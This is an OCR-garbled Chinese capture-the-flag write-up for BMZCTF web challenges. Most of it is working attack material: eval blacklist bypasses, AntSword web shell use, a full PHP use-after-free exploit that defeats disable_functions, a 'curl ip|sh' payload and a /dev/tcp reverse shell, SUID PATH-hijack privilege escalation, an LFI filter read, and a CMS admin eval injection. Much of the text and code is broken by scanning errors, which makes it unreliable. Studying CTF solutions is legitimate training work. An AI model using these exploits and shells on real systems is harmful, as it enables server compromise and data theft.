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_ FILE__

$cmd=htmlspecialchars($cmd

$black list

str_ireplace($black list
eval($cmd

?>
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Scmd=htmlspecialchars ($cmd) ;

$hlack_list=array( php’, echo’,” ’, preg’,’ server ,
$cmd = str_ireplace($black list, “BMZCTE”, $cmd) ;
eval ($emd) ;

R >

chr’,’ decode’, html’, ' md5’, post’, get’,’ file’, session’, ascii’,’eval’,’ replace’,’ assert’, exec’,’ cookie’

>
Warning: Use of undefined constant s - assumed 's' (this will throw an Error in a future version of PHP) in /var/www/html/index.php(7) : eval()'d code on line 1

Warning: Use of undefined constant y - assumed 'y’ (this will throw an Error in a future version of PHP) in /var/www/html/index.php(7) : eval()'d code on line 1
Warning: Use of undefined constant s - assumed 's' (this will throw an Error in a future version of PHP) in /var/www/html/index.php(7) : eval()'d code on line 1
Warning: Use of undefined constant t - assumed 't' (this will throw an Error in a future version of PHP) in /var/www/html/index.php(7) : eval()'d code on line 1

Warning: Use of undefined constant e - assumed ‘e’ (this will throw an Error in a future version of PHP) in /var/www/html/index.php(7) : eval()'d code on line 1

Warning: Use of undefined constant m - assumed 'm’ (this will throw an Error in a future version of PHP) in /var/www/html/index.php(7) : eval()'d code on line 1
BMZCTF{6890a976e47449c3a7d9b1c802781095}
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@ Load URL hitp:/iwww bmze lub ¢n20351/
B spiturL
E te
[ e i Postdata [ Referer [ UserAgent [J Cookies  Clear Al

cma=(s.ystem)(cat flag’)
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cmd=hex2

<{?php

highlight_file(_FILE );

$emd=$_POST[  emd ] ;

$cmd=htmlspecialchars ($emd) ;

$hlack list=array(’ php’, echo’,” , preg , server’, chr’, decode’, html’, md5 , post’, get’, file’, session’, ascii’, eval’, replace’, assert’, exec’, cookie,
$emd = str_ireplace($black_list, "BMZCTE”, $emd) ;

eval ($emd) ;

?> BMZCTF{6890a976e47449¢c3a7d9b1c802781095}

HackBar | | E

Encryption ~  Encoding ~ S
@ Load URL http:fAwrww.bmze lub.cn:20351/
§ selituRL

Execut
‘ D Seais Postdata [ Referer [] User Agent [J Cookies Clear All

cmd=hex2bin('737973746560")('cat /flag’)
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import string

string.printable

tmpl, tmp2 5
for res in cmd:
for i in char:
for j in char:
if(ord(i)”ord(j) ord(res)):
tmpl i
tmp2 Jj
break
else:
continue
break

print(tmpl,tmp2)

{?php

highlight file( FILE ):

$cmd=$_POST[ emd’ |;

$cmd=htmlspecialchars ($cmd) ;

$black list=array(’ php’, echo’,” ’, preg’,’ server’ , chr , decode’,’ html’
$cmd = str _ireplace($black list, “BMZCTF”, $cmd) ;

eval ($cmd) :

?> BMZCTF{6890a976e47449¢c3a7d9b1c802781095}
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o Load URL hitp-/fwww bmzelub.cn:20351/

% Split URL

Execute
| : Postdata [] Referer [] User Agent [] Cookies Clear All

cmd=("0000000"'CICDU]"}'cat /flag")
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?php
highlight file(_ FILE_ );
$cmd=$ POST[ 1;
if(strlen($cmd)

25){
die();
telse{

eval($cmd);

phpinfo() EE T

<{?php
highlight_file(_FILE_ );
$emd=$_POST["a’ |;

if (strlen($cmd) > 25){
die(;
}else{
eval (§cmd) :
}
PHP Version 7.3.24 php
System Linux fOb4a89716d6 4.19.0-6.ucloud #1 SMP Wed Feb 12 08:20:34 UTC 2020 x86 64
Build Date Nov 5 2020 21:42:50
Configure Command ' fconfigure’ *--build=x86_64-linux-gnu’ "--with-config-file-path=/usr/local/etc/php’ '--with-config-file-
scan-dir=/usr/local/etc/php/conf.d’ --enable-option-checking=fatal' '--with-mhash' '--with-pic' '--enable-
ftp’ '--enable-mbstrina’ --enable-mysalnd’ "--with-password-aragon2' ‘--with-sodium=shared’ '--with-
disable_functions Al ESR)S0 DESERS0 DESIW =15 %
HackBar ||
Encryption ~  Encoding ~ ~ XSS~ Other~
& Load URL hitpz//mww bmzclub cn:20351/
J spiit URL

») Execute

Postdata [ Referer [ User Agent [J Cookies Clear All

a=phpinfo()

disable_functions K KEZEF H

auto_append file

auto_globals jit On On
auto_prepend_file

browscap

default_charset UTF-8 UTF-8
default_ mimetype text/html text/html

disable_classes

pentl_alarm,pentl_fork,pentl_ waitpid,pentl wait,pentl
_wifexited,pcntl_wifstopped,pcntl wifsignaled,pentl
wifcontinued,pentl_wexitstatus,pentl_ wtermsig,pentl
_wstopsig,pcntl_signal,pentl_signal get handler,pent
|_signal_dispatch,pcntl_get last_error,pcntl_strerror,
pentl_sigprocmask,pcntl_sigwaitinfo,pentl_sigtimed
wait,pentl_exec,pentl_getpriority,pentl_setpriority,pc
ntl_async_signals,system,exec,shell_exec,popen,proc
_open,passthru,symlink,link,syslog,imap_open,id,dl,
mail,gc_collect cycles,getenv,unserialize, putenv,seri
alize Imagick¢ ¢

pentl_alarm,pentl_fork,pentl_ waitpid, pentl_wait,pentl
_wifexited,pcntl_wifstopped,pcntl wifsignaled,pentl
wifcontinued,pcntl_wexitstatus,pentl_ wtermsig,pentl
_wstopsig,pcntl_signal,pentl_signal get handler,pent
|_signal_dispatch,pcntl_get_last_error,pcntl_strerror,
pentl_sigprocmask,pcntl_sigwaitinfo,pentl_sigtimed
wait,pentl_exec,pentl_getpriority,pentl_setpriority,pc
ntl_async_signals,system,exec, shell_exec,popen,proc
_open,passthru,symlinklink,syslog,imap_open,Id,dl,
mail,gc_collect cycles,getenv,unserialize, putenv,seri

disable_functions Al v | E=EBA ESANSO EFEFS) WEREW =15

HackBar

alize,Imagickg ¢

Encryption -

Encoding ~ SQL -~ XSS ~

@ Load URL hitp:/

nw.bmzclub.cn:20351/
3 spiituRL

+) Execute

Postdata [] Referer [] User Agent [] Cookies Clear All

a=phpinfo()



pcntl wifexited

pcntl wifstopped
pcntl wifsignaled
pcntl wifcontinued
pcntl wexitstatus
pcntl _wtermsig

pcntl _wstopsig
pcntl_signal
pcntl_signal get_handler
pcntl_signal_dispatch
pcntl_get_last_error
pcntl _strerror
pcntl_sigprocmask
pcntl_sigwaitinfo
pcntl_sigtimedwait
pcntl_exec
pcntl_getpriority
pcntl_setpriority
pcntl_async_signals

gc_collect_cycles
getenv
unserialize
putenv

serialize
Imagick @ @

putenv #i € T, FF LD _PRELOAD & putenv() HJ bypass disable function KIFVEBENT T

Fegiid strien() PRI, 2RI

a=eval($_POST[mochu7]);&mochu7=phpinfo();

{?php

highlight file( FILE ):

$cmd=$ POST[ a’ |;

if(strlen($emd) > 25)
die();

eval ($cmd) ;

PHP Version 7.3.24




System Linux f0b4a89716d6 4.19.0-6.ucloud #1 SMP Wed Feb 12 08:20:34 UTC 2020 x86 64
Build Date Nov 5 2020 21:42:50

Configure Command ' fconfigure’ "--build=x86_64-linux-gnu’ '--with-config-file-path=/usr/local/etc/php’ '--with-config-file-
scan-dir=/usr/local/etc/php/conf.d’ '--enable-option-checking=fatal’ --with-mhash’ --with-pic' '--enable-
ftp’ '--enable-mbstring’ '--enable-mysalnd’ '--with-password-argon2’ '--with-sodium=shared’ '--with-

disable_functions A v | EEEEA) ESAAS0) DEEERS) LEEIW) =1

Encryption ~ Encoding ~ SQL ~ XSS~ Other ~
@ Load URL hittp:/fwww bmzclub.cn-20351
gg Split URL
Execute
‘ 2 Postdata [ Referer [ User Agent [] Cookies Clear All

a=eval($_POST[mochu7]).&mochu7=phpinfo()

" M Eg#Edg (http:/ /www.bmzclub.cn:20351/ findex.php) P o I, 4
|| Bi#F x H/IE £ s
B EnmE ~
2 EKRIEE v
@ Header @ Body
Name
Value
Name 3
Value eval($_POST[mochu?]);
o B s ~
M imE#de (http:/ /www.bmzclub.cn:20351/ /index.php} P m ¢
B 1577 * F/E F MlstEEdE
B ERFEE v
URLHHE = http://www.bmzclub.cn:20351//index.php
EEEE mochu?
PdahEE
IR UTF8 v
R PHP v
=) default R
O random (3R
) baset4
2 HEKRIEE ~
o BN S A
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B EmRE ] A
AntSword #RE =D &

] = 5 106.75.101.133 3
D B33l (0) < || O3l (1) -
=L/ QFE ~ +LE < Rilgr L e =k MEZE ~ | fvar/www/htmlf > iEE
=T var
k=¥ HEA o Bt
=1 www
| el ) index.php 2020-12-20 04:35:54 116 b 0644

W& i) Bypass disable function M ToiE L HFIH

M #5d disable_functions-106.75.101.133 - 0Ox
O EEE - |
i Shellpzs > ||
X
X
Ead R R v
'
\f
v
X
X
'
v

SRIGTESE5NIRE] — %S UAF bypass PHP disabled functions HJ3CE Hexp ] LAF)H

JRSCHbRE:  hitps://xz.aliyun.com/t/8355#toc-3
exp.php

?php
error_reporting(0);
$a str_repeat( , 120 * 1024 * 1024);
function i2s(&$a, $p, $i, $x = 8) {
for($j = 0;$7 < $x;$j++) {
$a[$p + $j] chr($i & oxff);
$i 8;

function s2i($s) {
$result = 0;
for ($x 0;$x strlen($s);$x++) {
$result 8;



https://xz.aliyun.com/t/8355#toc-3

$result ord($s[$x]);
)i

return $result;

function leak(&$a, $address) {
global $s;
i2s($a, 0x00, $address - 0x10);
return strlen($s -> current());

function getPHPChunk($maps) {
$pattern
preg_match_all($pattern, $maps, $match);
foreach ($match[1] as $value) {
list($start, $end) explode( , $value);
if (($length = s2i(hex2bin($end)) - s2i(hex2bin($start))) 0x200000 $1length
$address array(s2i(hex2bin($start)), s2i(hex2bin($end)), $length);
echo . $start . . $end . . dechex($length)
return $address;

function bombl(&$a) {
if (leak($a, s2i($_GET[ 1) OX5454545454545454) {
return (s2i($_GET[ 1) & ox7ffff0000000);
telse {
die(

function bomb2(&$a) {
$start = s2i($ GET[ 1);
return getElement($a, array($start, $start + 0x200000, ©x200000));
die( )

function getElement(&$a, $address) {
for ($x = 0;%$x ($address[2] / 0x1000 - 2);$x++) {
$addr 0x108 + $address[@] + 0x1000 * $x + 0x1000;
for ($y = 0;%y < 5;%y++) {
if (leak($a, $addr + $y * Ox08) 0x1234567812345678 ((leak($a, $addr + %y
FFfffff) 0x01)){
echo . dechex($addr + $y * 0x08 - 0x18)
return $addr + $y * 0x08 - 0x18;

function getClosureChunk(&$a, $address) {
do {
$address leak($a, $address);
}while(leak($a, $address) 0x00) ;
echo . dechex($address)

return $address;

0x08

0x300000) {

0x08)

oxfi




function getSystem(&$ 5
$start $address oxffffffffffffooo0;
$lowestAddr ($address 0x0000fffffff00000) - Ox0000000001000000;
for($i 0; $i 0x1000 * 0x80; $i++) {
$addr $start - $i * 0x20;
if ($addr < $lowestAddr) {
break;
b
$nameAddr = leak($a, $addr);
if ($nameAddr > $address $nameAddr < $lowestAddr) {
continue;
b
$name = dechex(leak($a, $nameAddr));
$name = str_pad($name, 16, , STR_PAD_LEFT);
$name = strrev(hex2bin($name));
$name = explode( , $name)[0];
if($name ) {
return leak($a, $addr + 0x08);

class Trigger {
function _ destruct() {

global $s;

unset($s[0]);

$a str_shuffle(str_repeat( , Oxf));

i2s(%$a, 0x00, 0x1234567812345678);

i2s($a, 0x08, 0x04, 7);

$s -> current();

$s -> next();

if ($s -> current() 0x1234567812345678) {
die( )

)i

$maps = file_get_contents(

if (!$maps) {
cantRead(%$a);

telse {
canRead($maps, %$a);

)i

echo

function bypass($elementAddress, &$a) {
global $s;
if (!$closureChunkAddress = getClosureChunk($a, $elementAddress)) {
die( )5
)i

$closure_object leak($a, $closureChunkAddress + 0x18);

echo . dechex($closure_object)

$closure_handlers leak($a, $closure object + 0x18);

echo . dechex($closure_handlers)

if(!($system_address = getSystem($a, $closure_handlers))) {
die( )s

}

echo . dechex($system_address)

i2s(%$a, 0x@8, 0x506, 7);

for ($i 0;%i (0x130 / 0x@8);%i++) {

bCdld 1 bd D osure op-ile e




i2s($a, 0x00, $closure_object + 0x30);
i2s($s -> current(), 0x08 * $i + 0x100, $data);
)i
i2s($a, 0x00, $closure_object + 0x30);
i2s($s -> current(), Ox20, $system_address);
i2s($a, 0x00, $closure_object);
i2s($a, 0x08, 0x108, 7);
echo
($s -> current())(

function canRead($maps, &%$a) {

global $s;

if (!$chunkAddress = getPHPChunk($maps)) {
die( )5

b

i2s(%$a, ox08, 0x06, 7);

if (!$elementAddress = getElement($a, $chunkAddress)) {
die(

)i

bypass($elementAddress, $a);

function cantRead(&%$a) {
global $s;
i2s($a, 0x08, 0x06, 7);
if (lisset($ GET[ D) isset($_GET[ 1)) {
die( 5
)i
if (isset($_GET[ 1) {
die(dechex(bombl($a)));
b
if (isset($_GET[ 1) {
$elementAddress bomb2($a);
)i
if (!$elementAddress) {
die(
)i
bypass($elementAddress, $a);

new SplDoublylLinkedList();
push(new Trigger());
push( )
push(function($x){});
0;$x 0x100; $x++) {
push(©x1234567812345678) ;

$s -> rewind();
unset($s[0]);




/tmp BRAEBABR, WU EA&H

@ sEa - O X
AntSword #sE O Ed
4 H (0 106.75.101.133 3

0O B#31% (0) < | Dk (D ~

=7/ ofE - A¢LE CRF 2 &#FBEFE AAEE -~ jmp/ S &5

+ Il var
bin
boot

=t =) Fl Bt
.67628ant_x64.50 2020-12-29 08:33:25 674 b 0644

dev .84405ant_x64.50 2020-12-29 08:44:26 674 b 0644

st 1.jpg 2020-12-29 10:56:58 932 b 0644

[N PR PR

home exp.php 2020-12-29 09:49:56 5.54 kb 0644

lib

libs4

media

mnt

opt

proc

root

run = 5% ¥
sbin £ =Ty Erf B2 i SRkATE

s L 1.jpg => ftmp/ LR 2020-12-20 18:56:58  2020-12-29 18:56:59

¥ exp.php EAER] /tmp 2R)5 include (' /tmp/exp.php') BIM] $AT 44



HUFZCEPITT php -v

<{?php
highlight_file(_FILE_);
$cmd=$_POST[ &’ J;
if(strlen($emd) > 25){
die();
}else{
eval ($emd) ;
} [+]PHP Chunk: 7f92b0a00000 - 7f92b0c00000, length: 0x200000 [+]SplDoublyLinkedList Element: 7f92b0a5d0f0 [+]Closure Chunk: 7f92b0a5d4d8 [+]Closure
Object: 7f92b0a61b40 [+]Closure Handler: 7f92b2090aa0 [+]Find system's handler: 7f92b1672360 [+]Executing command: PHP 7.3.24 (cli) (built: Nov 5 2020
21:44:18) ( NTS ) Copyright (c) 1997-2018 The PHP Group Zend Engine v3.3.24, Copyright (c) 1998-2018 Zend Technologies [+]Done

php v AV EREBE) EAAISC) MEESESS() MEEaW 52 x
: D JnE B = = HackBar || EditTh

- Contribute now! HackBar v2

@ Load URL hitp:fiurww bmzclub.cn:20351/
i splitURL

Executs
S Postdata [ Referer [J UserAgent [J Cookies Clear All

a=eval(s_POST[mochu7]):&mochuT=include(impfexp. php')

AT /readflag

<?php
highlight file(_FILE );
$cmd=$_POST[" &’ 1;
if (strlen($emd) > 25){
die();
Jelse{
eval ($cmd) ;
} [+]PHP Chunk: 7f92b0a00000 - 7f92b0c00000, length: 0x200000 [+]SplDoublyLinkedList Element: 7f92b0a5d0f0 [+]Closure Chunk: 7f92b0a5d5c8 [+]Closure
Object: 7f92b0a61b40 [+]Closure Handler: 7f92b2090aa0 [+]Find system's handler: 7f92b1672360 [+]Executing command:
BMZCTF{5ac6687f8e7b4e1980768da885d39b3d} [+]Done

php -v ~ | v | EEEEE) BRarhSQ MESEESS) EEEaw)

HackBar || Edit]

Contribute now! HackBar
& Load URL
§ splituRL

Execute
‘ 2 Postdata [ Referer [] UserAgent [] Cookies Clear All

a=eval($_POST[mochu7]):&mochu7=include( tmplexp.php')



<?php
highlight file(_ FILE_ );
if(isset($_GET][ A
$ip

$blacklist = array _merge($_);

foreach ($blacklist as $blacklisted) {
if (strlen($ip) 18){
if (preg_match ( . $blacklisted .
die( )5
}else{

exec($ip);

I T —EERF, execEEE, *EKHHshell

PRI T, FrbAEERAR#shellfipayloadfT AN i@

A] LUK ) #ishellfipayload BE = Ik 585 b, SR8 curl ip|sh RR3#
X Hipid 38 7 &, T LBy 3k hi SR

< C A F==z| 7 7D
WA WU phppharlR | EE A BESisemmmEs. @ BESAREEE. src
bash -c "bash -i =& /dev/tcps . CT2STTIT 081"

&N ?ip=curl ipHt+i##l|sh B CHIIRS 2R MWW 77773 OB A 15 2shell

<« X @ 127.0.0.1
[root@iZpkdveslv -lvp 80 Kali Linux Kali Training Kali Tools + Kali Docs Kali Forums NetHunter || Offensive S¢
Ncat: Versi

<?php

highlight_file(_ FILE_ );
if(isset($_GET['ip'1)){

-b

[root@izpkd p1Z ~]# servi $ip = $_GET['ip']; ) .
Redirecting to /bin/ $_=array('b','d",'e","-",'q", "', g, L pt g K, 'm Tt s
[rooteizpkd 73 \%','\"','\f','\(','\)','\[','\=','\.','\[','\]','\}','\{','\_');
Ncat: Ve , $blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
5 9.0.0: if (strlen(%$ip) <= 18){
TETHOT T ) 23 if (preg_match ('/' . $blacklisted . '/im', %ip)) {
Connection from .76. die('nonono’);
cannot set terminal process group : Inappropriate 1 }else{_
no job control in thi ell exec($1p);
www-data@foed : S /himls
}
alcaf

B EIshel/a KM B R T & Aflag, HMErootHFT, TEHITRM

1 P suid k4T $RAX
BEEAsuidimd



find / -perm -u=s -type f 2>/dev/null

wwiw-data@gfoeds
find / -pem -u=
JSbin/mount

/bin/su

/bin/love

Wiw-daTaldTed

www-data @f Peds4 e:/var/www/hitmls love
love
FID TTY TIME CMD
): 00 apache2
love

R T psin4, FHHERMEMALAEX R, il DL B SIS PATHR AT 2301

export PATH=/tmp:$PATH

love

www-data@foeds Ge:, Soww/himls cd /tm p

cd ftmp

www-data@foeds /tmpg echo "/bin/bash" >

echo "/bin/b -

www-data @ f :/tm p% c hmod 777 ps

chmod 777 p

wiww-data@fo S6e:/tmp$ export PATH=/tmp:$PATH
export PATH=/tmp ATH

wiww-data@foed5493896e: /tmps love

love

1d

uid=0{root) gid=0{root) groups=B(root),33(www-data)
cat /root/flag

flag{d72a4age-d6dc - 4701 -ofaBiiEyiAsTamEdn.net/mochu /7 77777

BMZ_Market
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<div class="cover-container d-flex w-100 h-100 p-3 mx-auto flex-column™>
<header class="masthead mb-auto”>
<div class="inner”>
<h3 class="masthead-brand” >ENZ Market</h3>
<nav class="nav nav-masthead justify-content-center’ >

<a class="nav-link active” href="#">Home<{/a> "’/

7 - 7 o el . . o 7 — Fu
<!— <a class="nav-link active href=" ?lang=fr »Fr/a> —>
</nav>
<fdivr
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PD9waHAKJHBhec3N3b3JkIDOiTmV2ZXInaXZ|dK 2 Ly9 mUg i pc3NIdCgkX0dFVFsnbGFuZyddKSkKewppbmNsdWRIKCRfROVUWydsYWS5nJ10uliSwe

N EE {}E [ G | L 5 HackBar | |
Encryption ~  Encoding >~ SQL ~ XSS~  Other ~ Contribute now! HackBar v2
@ Load URL nitp: iwww.bmze lub.cn.20351/2lang=php:/filter/read=convert. base64-encode/resource=indey
§ seiurRL

Execut
v Breaute [J Postdata [] Referer [] User Agent [] Cookies Clear All

d

isset($_GET

$ GET




DOCTYPE html

html lang head

meta http-equiv content
meta charset
meta name content
meta name content
meta name content

title>BMZ Market</title

link href

link href
head

body class

div class
header class
div class
h3 class BMZ Market</h3
nav class
a class href Home
a class href
nav
div

header

main role
hl class Coming soon</hl
p class
<?php
if (isset($ GET[
{
echo $message;
)i

else

{

?>

Believe in yourself, you can find the flag

<?php

p
p class

a href

p
main

footer class

div class

p>Power by<a href @kuaile




footer

div

body html
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ARER G K 5 %Y

BEEBIWERI robots. txt
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6Y776TKT0gKGIeX15vKS8gKGIeX15vKTs0776f0 ] TvvpSpPXvvvp/0m0++nzog]18nICzvvp,/Pie++n+++iSA61CgoTT6fz4nvvp/vvok9PTMpICsnXycpIFvvvp
/0m0++n10gL0++n++9s0++n+++1SABKO++n8+J 776776 JKyAnXycpW29eX15vIC00776fzp jvvp8pXSAs776f0]Tvvp/vvok6KC jvvp
/vvbDvvp89PTMpICsnXycpW+++n++9s0++n10gfTsgK0++n9CUT76 fKSBbT 76 zp jvvp9dID0oK0++n8+J 776776 JPT0zKSAr J18nKSBbY15fXm9d0y jvvp

/Q10++nykgWyd jJ10gPSA0KO++n9CU7 76 fKS snXycplFsgKO++n++9s0++nykrK0++n++9s0++nyk tKO++n86Y776fKSBdOy jvvp/Q10++nykgWydvJ10gPSAcKO++n9CU776fKSsnXycpIFvvvp/0m0++n107K0++n2
/vvp8pPS jvvp/Q10++nykgWyd jJ10rK0++n9CUT76fKSBb J28nXSs0776fz4nvvp

/vvokgKydf Jy1bTT6fzp jvvp9IdKyAoKO++n8+] 776776 JPT0zKSAr J18nKSBbT76£7T2wTT6FXSAr ICg0T 7T6£0] Tvvp8pl CsnXycpIFsoTT6ETT2wTT6fKSsoTT6E 772w I T6EKV0r ICgoTT6£772wT T6fPTOzKSAT J 18nKS
Bb776fzpjvvp9dKygoT76f772wTT6fPT0zKSAr J18nKSBbKO++n++9s0++nykgLSA0776fzp jvvpSpXSso776f0]TvvpSpIFsnYyddKygo776T0] Tvvp8pKydf JykeWy jvvp/vvbDvvpSpKy jvvp
/vvbDvvp8pXSsgK0++n9CU776fKSBbJ28nXSsoK0++n++9s0++nz09MykgKydf JykgW+++n86Y776fXTso776f0]JTvvp8pIFsnXyddID0ob15fXm8pIFvvvp9vT76fXSBb776fb+++n107K0++n8617 76fKT00KO++n++9s0
++nz09MykgKydf JykgW+++n86YT76XSsgK0++n9CU776 fKSAu776f0]Tvvp/vvokrKC jvvp/Ql0++nykr J18nKSBbKO++n++9s0++nykegKyAo 776 772w7 76 fKVOrKC jvvp
/vvbDvvp8IPTMpICsnXycpIFtvX19ebyAt776fzp jvvpIdKygoT76£772wTT6fPT0zKSAT J18nKSBh776fzp jvvp9dKyAoT76fz4nvvp/ vvokgKydf JykgW+++n86Y 776 fXT sgK0++n++9s0++nykrPS jvvp
/0m0++nyk7ICjvvp/Ql0++nylb776fzrXvvp9dPSdcXCc7IC jvvp/Ql0++nyku776fzp jvvp/vvok9KO++n9CU776fKyDvvp/vvbDvvp8pW29eX15vIC007 76fzp jvvpSpXT sob+++n++9s0++n28pPS jvvp
/Pie++n+++iSArJ18nKVt jX19eb107K0++n9CUT76fKSBb776fb+++n109]J1wi Jzso776£0]JTvvp8pIFsnXyddICggK0++n9CU7 76fKSBb J18nXSAo 776 fzrXvvp8rK0++n9ICUTT6 fKVvvvpIvi76£XSsgK0++n9CUTTETKV
vvvp/0te++n10rKO++n86Y776fKSsgKO++n++9s0++nykr IC jvvp/0m0++nykrICjvvp/QL0++ny1b776fzrXvvp9dKy jvvp/Om0++nykr ICgo 776 £ 772w7 76 fKSArIC jvvp
/Om0++nykpKyAo776f772wT176fKSsgK0++n9CUTT6fKVvvvp/Ote++nl10rKO++n86Y776fKSsgK0++n++9s0++nykrICgo776f772wTT6fKSATIC jvvp

/0m0++nykpKyAo776£0 ] TvvpSpW+++n861776fXSso776fzp jvvpSpKyAoKGIeX15vKSATKGIeX15vKSkrICgob15fXm8pIC0gK0++n86Y776fKSkrICivvp/QLO++nylb776fzrXvvp9dKy jvvp
/0m0++nykrICgobl5fXm8pICsobl5fXm8pKSsgK0++n++9s0++nykrIC jvvp/Q10++ny1b776fzrXvvp9dKygo776£772w7 76 fKSArICjvvp
/0mO++nykpKyAoY15fXm8pKyAo7T6f0JTvvpSpW+++n861776FXSso776fT72w776fKSsgKChvX19ebykgLSAo776fzp jvvp8pKSsgK0++n9CUTT6fKVvvvp

/0te++n10rK0++n86Y776fKSsgKGNeX15vKSsgKGIe X15vKSsgK0++n9CUTT6fKVyvvp/Ote++n10rK0++n86Y776fKSsgKC jvvp/vvbDvvp8pICsgK0++n86Y776fKSkrIChjX19ebykrICjvvp
/Q10+nylb776fzrXvvp9dKy jvvp/0mO++nykrICjvvp

/vvbDvvp8pKyAo7T6fzp jvvpSpKyAoT776£0JTvvpSpW+++n861776fXSs0776fzp jvvpSpKyAoKO++n++9s0++nykegKyAo776fzp jvvp8pKSsgkO++n++9s0++nykrIC jvvp/Q10++ny1b776fzrXvvp9dKy jvvp
/Om0++nykrICgo776£772w776fKSArICivvp/Om0++nykpKyAo776£772wT T6fKSsgKO++n9CUT 76 fKVvvvp/0te++nl0rK0++n86Y776fKSsgKO++n++9s0++nykrICgo776£772w776fKSArIC jvvp
/0m0++nykpKyAo7T6£0JTvvp8pW+++n861776fXSs0776fzp jvvp8pKyAoKO++n++9s0++nykgKyAoT76fzp jvvp8pKSsgKChvX19ebykgKyhvX19ebykpKyAoT76f0JTvvp8pW+++n8617T6fXSs0776fzp jvvp8pKyAoT7
6f772w776fKSngCvap/vvbDVVpSpIngKGQeXlBVKSkrICJVVD/Q10++ny1b776fervvp9deJvvp/0m0++nykrICJvvp/vvbvapSpKonK0++n++9sO++nykgKon776fzpjvvp8pKSsgKO++n9CL776fK\vvvp
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g@ SplitURL

Execute
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@ LoadURL hittp:/fwww.bmzclub.cn-20351/bmzadmin.php
b spiit URL.

Execut
Y Beaie [ Postdata [ Referer [] User Agent [] Cookies Clear All

BEI, fEtitlerh RKILM B R A

ldoctype html>

<html >

<head>

<{meta http-equiv="content-type” content="text/html; charset=UTF-8">

<{meta charset="utf-8">

<{meta http-equiv="Y¥-UsACompatible” content="IE=edze”>

<{meta name="viewport” content="width=device-width, initial-scale=1.0, maximm-scale=1.0, user-scalable=no”>
!-— Apple devices fullscreen ——>

<{meta name="apple-mobile-web-app-capable” content="yez">

<!— Apple devices fullscreen ——»

<{meta name="apple-moblle-web-app-status-bar-style” content="black-translucent”>
<link rel="shortcut icon” type="image/x-icon” href="/favicon. ico” media="screen”/>

<titler BAfCns-E Tl - Bt oSt b MBI R vl 3. T/ title>
<{geript type="text/javascript™>
var eyou_basefile = “/bmzadmin. php”;
var module_name = “admin”;
var SITEUFL = window. location. host + eyou basefile + “/” + module_name;
var GetUploadify_url = “/brzadmin. php?readminkc=Uploadifv&a=upload”
var _ root_dir = *";
var _ lang = “cn’”:
{/script>
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1% scene ZH5 Ashell

Dashboard | Target | Proxy | Intruder TL&&I Sequencer T Decoder TComparer T Extender T Project options T User options T Reflection l

6= [T=|8=(9x[10x |11

Go Cancel | | < |v > v Target: http:/lwww.bmzclub.cn:20351 @
Request Response
m Params | Headers | Hex Headers | Hex | HTML | Render }
POST /brmzadmin.php?m=admin&c=Weapp&a=create@lang=cn HTTP/1.1 : HTTP/1.1 200 OK [
Host:www.bmzclub.cn:20351 Date:Tue, 29 Dec 2020 17:41:06 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/ /20100101 Firefox/84.0 Server: Apache/24.38 (Debian)
Accept: text/html,application/xhtml +xml,application/xml;q=0.9,image/webp,*/*q=0.8 X-Powered-By: PHP/7.3.24
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7 zh-HK;q=05,en-US;q=0.3,en;q=0.2 Set-Cookie: admin_lang=cn; path=/
Accept-Encoding: gzip, deflate Expires: Thu, 19 Nov 1981 08:52:00 GMT
Content-Type: application/x-www-form-urlencoded Cache-Confrol: private
Content-Length: 129 Pragma: no-cache
Crigin: http:/fwww.bmzclub.cn:20351 Vary: Accept-Encoding
Connection: close Content-Length: 2723
| Referer: httpy//www.bmzelub.cn:20351/bmzadmin.php?m=admin8tc=Weapp&la=create&lang=cn Connection: close
Cookie: Content-Type: text/html; charset=utf-8
Hm_Ivt d7a3bB863d5a302676afbeB6b11339abd=1609053950,1609076345,1609135959,1609213546;
Hm_Ipvt d7a3b863d5a302676afbe86b11339abd=1609263398; <IDOCTYPE htmi PUBLIC *-//W3C//DTD XHTML 1.0 Transitional//EN "
PUIREFEEIN 24 ARF & A FF7 2% A A F o nOOF 07 Al T Ak ae ~diaine | am o coms b L oo R N R A et SIS I S




FAFSCI3IL - UTDULIH LIUUIUELA00D103EU! JULd, aulT_lally—Ll, HUHE_taiyg -,
workspaceParam=ndex%7CWeapp;

ENV GOBACK URL=%2Fbmzadmin.php%3Fm%3Dadmin%26c%3DArchivesi26a%3Dindex_archives%26la
ng%3Dcn;

ENV_LIST_URL=%2Fbmzadmin.php%3Fm%3Dadmin%26c%3 DArchives%26a%3Dindex_archives%26lang%s3
Den; ENV_IS_UPHTML=0

Upgrade-Insecure-Requests: 1

code=Mochu78&name=mochu?8&version=v1.0.i
al($_POST[mochu7])}//8description=mochu?

bmzadmin.php 5 Ashell

O&min_version=v1.3.7&author=mochu7&scene=bbb\’, ${ev

") ;

1L vy
<html xmins=
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>BsEiBR</title>
<style type="text/css">
*{ padding: 0; margin: 0; }
body{ background: #fff; font-family: "#isk3ER"; color: #CCC; font-size: 16px; |
system-message{ padding: 24px 48px; margin:auto; border: #CCC 3px solid; top:50%;
width:500px; border-radius:10px;
-moz-border-radius:10px; /* Old Firefox */}
.system-message h1{font-size: 100px; font-weight: normal; line-height: 120px;
margin-bottom: 5px; }
system-message jump{ padding-top: 10px; color: #999;}
.system-message .success,.system-message .error{ line-height: 1.8em; color: #999; font-size:
36px; font-family: 'B{&'; }
system-message .detail{ font-size: 12px; line-height: 20px; margin-top: 12px; display:none}
</style>
<script type="text/javascript"” src="/public/static/comman/
<script type="text/javascript”>
$(function(f
var hel'ghtz:$('.system-message').heightu;

/jquery.tools.minjs"> </script>

PHP Version 7.3.24

Php.

System

Linux ffe3c3abalae 4.19.0-6.ucloud #1 SMP Wed Feb 12 08:20:34 UTC 2020 x86_64

Build Date

Nov 5 2020 21:42:50

Configure Command

"./configure’ --build=x86_64-linux-gnu’ '--with-config-file-path=/usr/local/etc/php’ --with-
config-file-scan-dir=/usr/local/etc/php/conf.d’ '--enable-option-checking=fatal' "--with-mhash’ "--
with-pic’ '--enable-ftp’ ‘--enable-mbstring
sodium=shared’ ‘—-with-pdo-sqlite=/usr’ '
openss|' --with-zlib' *--with-libdir=lib/x86_64-linux-gnu' --with-apxs2' '--disable-cgi’
'build_alias=x86_64-linux-gnu’

--enable-mysqlnd’ *--with-password-argon2’ --with-
with-sqlite3=/usr’ '—with-curl’ *--with-libedit’ '--with-

Server API Apache 2.0 Handler
Virtual Directory Support disabled
